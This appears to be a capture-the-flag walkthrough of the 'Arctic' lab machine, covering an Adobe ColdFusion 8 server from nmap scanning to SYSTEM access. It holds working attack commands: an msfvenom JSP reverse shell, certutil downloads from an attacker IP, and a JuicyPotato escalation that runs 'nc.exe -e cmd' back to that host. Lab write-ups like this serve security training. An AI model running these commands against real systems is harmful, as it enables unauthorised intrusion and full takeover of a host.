Arctic
Last updated
Was this helpful?
Last updated
Was this helpful?
As usual, we start with an nmap scan, in order to find open ports in the target machine.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.11 -oN allPorts
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5 insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oN save the scan result into a file, in this case the allports file.
As we see, ports 135, 8500 and 49154 are open. Let's try to obtain more information about the service and version running on those ports. The following command will scan the previous ports more in depth and save the result into a file:
nmap -sC -sV -p135,8500,49154 10.10.10.11 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oN save the scan result into file, in this case the targeted file.
Nmap it's not really sure what service is running in port 8500. If we see if there is any website with the browser, we will see there is a web server with directory listing.
If we take a look at the CFIDE/ directory, we will find the Administrator/ directory which will show us a login page.
Now we know we are facing an Adobe Coldfusion 8 login page. Let's search for any common exploits on exploit-db.
Let's check it out.
And we get a password hash. Let's make use of rainbow tables and try to find out the password.
And we get a password! Let's log in into the administrator login page.
At this point, to get a shell, we will have to make a Scheduled Task which downloads a reverse shell from our machine and stores it into the CFIDE/ directory.
First thing we have to do, is look for the path in which the CFIDE/ is stored on the victim machine. If we look closely to the left panel, which has a lot of administrative tools, we will find the Mappings section.
Now we know where the /CFIDE directory is located in the victim machine. Before creating the Scheduled Task, let's create the reverse shell file.
msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.9 lport=4444 -o shell.jsp
-p indicates the type of payload.
lhost local host IP.
lport local port of the listener.
-o save the output to a file.
And we set an HTTP server with python on port 8000.
python -m SimpleHTTPServer
Now it's time to make the Scheduled Task. We will have to click on Scheduled Tasks > Schedule New Task. Next, we will put a name to the task, set the URL to the shell.jsp binary located in our machine, and indicate the absolute path of the output file which will be C:\ColdFusion8\wwroot\CFIDE\shell.jsp, and hit Submit.
To activate the Scheduled Task, let's click on the green button, and we should see a GET petition on the python HTTP server.
If now we check the /CFIDE directory, we will see the shell.jsp file.
Before activating it, let's set a netcat listener on port 4444.
nc -lvnp 4444
-l listen mode.
-v verbose mode.
-n numeric-only IP, no DNS resolution.
-p specify the port to listen on.
If we now click on the shell link, we should get the reverse shell as the user tolis, and we could be able to grab the user flag.
Let's start by seeing what privileges the user tolis has.
whoami /priv
If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.
To escalate privileges, we'll have to transfer JuicyPotato.exe and nc.exe binaries to the victim machine. Let's set a python HTTP server on the directory where we have those binaries.
python -m SimpleHTTPServer
And download the binaries from the desktop folder of the tolis user.
certutil.exe -f -urlcache -split http://10.10.14.9:8000/JuicyPotato.exe JuicyPotato.exe
certutil.exe -f -urlcache -split http://10.10.14.9:8000/nc.exe nc.exe
Before executing the JuicyPotato.exe binary, let's set another netcat listener on port 5555 to catch a reverse shell as the NT AUTHORITY\SYSTEM user.
nc -lvnp 5555
-l listen mode.
-v verbose mode.
-n numeric-only IP, no DNS resolution.
-p specify the port to listen on.
Finally, let's run the Juicy Potato binary and get a shell as the NT AUTHORITY\SYSTEM user. Then all we have to do is reap the harvest and take the root flag.
JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\users\tolis\desktop\nc.exe -e cmd 10.10.14.9 5555"
-t createprocess call.
-l COM server listen port.
-p program to launch.
-a specify command arguments.
I found a exploit which points at the following URL.
